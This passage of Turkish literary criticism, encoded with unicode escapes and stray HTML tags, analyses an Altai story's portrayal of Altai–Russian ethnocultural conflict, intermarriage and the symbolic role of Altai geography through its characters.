kar\u015f\u0131s\u0131nda kimli\u011fini g\u00fc\u00e7l\u00fc k\u0131lmak i\u00e7in yeni at\u0131l\u0131mlar yapmaya \u00e7al\u0131\u015f\u0131r. Ancak \u00e7abalar\u0131 sonu\u00e7 vermez. Onulmaz bir yenilgi kar\u015f\u0131s\u0131nda Sovyet iktidar\u0131n\u0131 yeni bir umut olarak g\u00f6r\u00fcr ve o\u011flu U\u00e7ar\u2019\u0131 \u00f6tekinin etkisinden kurtarmaya \u00e7al\u0131\u015f\u0131r. K\u00fcre\u00f1dey ve Kallistrat \u00fczerinden i\u015flenip hik\u00e2yenin b\u00fct\u00fcn\u00fcne yay\u0131lan kar\u015f\u0131tl\u0131k ve \u00e7at\u0131\u015fma durumunun temelinde iki farkl\u0131 toplumun Altay\u2019da var olma trajedisi bulunmaktad\u0131r. Hik\u00e2ye, Altay co\u011frafyas\u0131n\u0131n dinsel ve psikolojik anlam\u0131yla ilgilidir.<\/p>\n\n\n\n Altay-Rus ili\u015fkisiyle ilgili yazar\u0131n \u00fczerinde durdu\u011fu unsurlardan biri iki toplum (Altay ve Rus) aras\u0131nda yap\u0131lan evlilikler di\u011feri ise melezliktir. Yazar, kurgunun merkezinde kar\u015f\u0131tl\u0131k (ya da \u00f6teki) durumunu melezlik ile olumlar. Altay\u2019a ilk gelen g\u00f6\u00e7menlerden olan Kallistrat ve Saveliy\u2019in dedeleri, Altay T\u00fcrk\u00fc kad\u0131nlarla evlenmi\u015f; Kallistrat, melez olan Agrafena ile Saveliy\u2019in k\u0131z\u0131 da babas\u0131n\u0131n yan\u0131nda \u00e7al\u0131\u015fan Altay T\u00fcrk\u00fc bir \u0131rgat ile ka\u00e7\u0131p evlenmi\u015ftir. Kallistrat\u2019\u0131n e\u015fi ve Fedosya\u2019n\u0131n annesi Agrafena da Altay ve Rus melezidir. Yazar\u0131n onun hakk\u0131nda yazd\u0131klar\u0131 \u00e2deta melezli\u011fe ya da daha do\u011frusu Altay Rus evlili\u011fine \u00f6vg\u00fc niteli\u011findedir. Hik\u00e2yede olaylar\u0131n ger\u00e7ekle\u015fti\u011fi vaka zaman\u0131 i\u00e7erisinde herhangi bir i\u015flevi olmamas\u0131na ra\u011fmen, Kallistrat ve Saveliy aras\u0131ndaki d\u00fc\u015fmanl\u0131\u011f\u0131n sebebi Agrafena\u2019d\u0131r. \u00c7\u00fcnk\u00fc her ikisi de onunla evlenmek istese de Agrafena ile evlenen Kallistrat olunca, bu ikisi aras\u0131nda olaylar\u0131n geli\u015fimini etkileyecek d\u00fc\u015fmanl\u0131k da ba\u015flam\u0131\u015f olur. Yazar; yoksul Agrafena\u2019y\u0131 melez de olsa Altay g\u00f6r\u00fcn\u00fcml\u00fc, uzun kara sa\u00e7 \u00f6rg\u00fcl\u00fc, kara sa\u00e7l\u0131 fakat ayn\u0131 zamanda burnu ve g\u00f6z yap\u0131s\u0131 bak\u0131m\u0131ndan Ruslara benzer olarak tasvir eder. Huyunu ise bir Altay atas\u00f6z\u00fcyle dile getirir: Kunac\u0131n uy balazak, kul kiji t\u00f6r\u00f6\u00f6nz\u00f6k (D\u00fcveli inek ana\u00e7, kul ki\u015fi akrabaya d\u00fc\u015fk\u00fcn olur). Agrafena \u00f6ks\u00fcz b\u00fcy\u00fcd\u00fc\u011f\u00fc i\u00e7in aile sahibi olman\u0131n k\u0131ymetini, melez oldu\u011fu i\u00e7in de Altay ve Rus geleneklerini bilir. \u0130ki halk\u0131n da i\u015f yapma becerisine sahiptir. \u0130\u015f yapmaktan ka\u00e7\u0131nmaz. Sab\u0131rl\u0131d\u0131r. \u0130nsanlara kar\u015f\u0131 merhametlidir ve evinden, yuvas\u0131ndan ba\u015fka bir \u015fey d\u00fc\u015f\u00fcnmez. Biraz da onun bu becerileri sayesinde Kallistrat g\u00fcn ge\u00e7tik\u00e7e zenginle\u015fir.<\/p>\n\n\n\n Hik\u00e2ye, \u015fah\u0131slar kadrosunun temsil etti\u011fi de\u011ferlere ba\u011fl\u0131 olarak etnok\u00fclt\u00fcr \u00e7at\u0131\u015fmalar\u0131 \u00fczerine kuruludur. Olay \u00f6rg\u00fcs\u00fc K\u00fcre\u00f1dey (Altay \/ Kad\u0131n) ile Kallistrat (Rus \/ Erkek) ve ikisi aras\u0131nda kalan U\u00e7ar \u00fczerine kurgulanm\u0131\u015ft\u0131r. K\u00fcre\u00f1dey, Altay T\u00fcrklerini ve co\u011frafyas\u0131n\u0131, Kallistrat ise Altay\u2019a sonradan g\u00f6\u00e7men olarak gelen Ruslar\u0131 temsil eder. U\u00e7ar, bu ikisinin temsil etti\u011fi de\u011ferler aras\u0131nda kalm\u0131\u015f gen\u00e7 bir Altay T\u00fcrk\u00fc\u2019d\u00fcr. Hik\u00e2yenin \u00f6z\u00fcn\u00fc olu\u015fturan \u00e7at\u0131\u015fmalar kurguda \u015fah\u0131slar kadrosuna ve mek\u00e2na ait unsurlara yerle\u015ftirilmi\u015ftir. K\u00fcre\u00f1dey\u2019in trajik ya\u015fam \u00f6yk\u00fcs\u00fcnde hik\u00e2yedeki simgelerin kar\u015f\u0131l\u0131\u011f\u0131 vard\u0131r. \u00d6yk\u00fcn\u00fcn ba\u015flang\u0131c\u0131nda kapal\u0131 mek\u00e2n olarak Altay ay\u0131l\u0131, bu ay\u0131l\u0131n i\u00e7indeki geleneksel e\u015fyalar ve a\u00e7\u0131k mek\u00e2n olarak Altay co\u011frafyas\u0131n\u0131n kutsal unsurlar\u0131 Kad\u0131n Nehri ve \u00dc\u00e7 S\u00fcmer Da\u011f\u0131 tematik de\u011fer olarak metinde yer al\u0131rlar. Bu tematik de\u011ferler, K\u00fcre\u00f1dey ile b\u00fct\u00fcn Altay T\u00fcrklerinin ya\u015fam\u0131n\u0131 \u00f6zetler niteliktedir.<\/p>\n\n\n\n
<\/a><\/figure>\n\n\n\n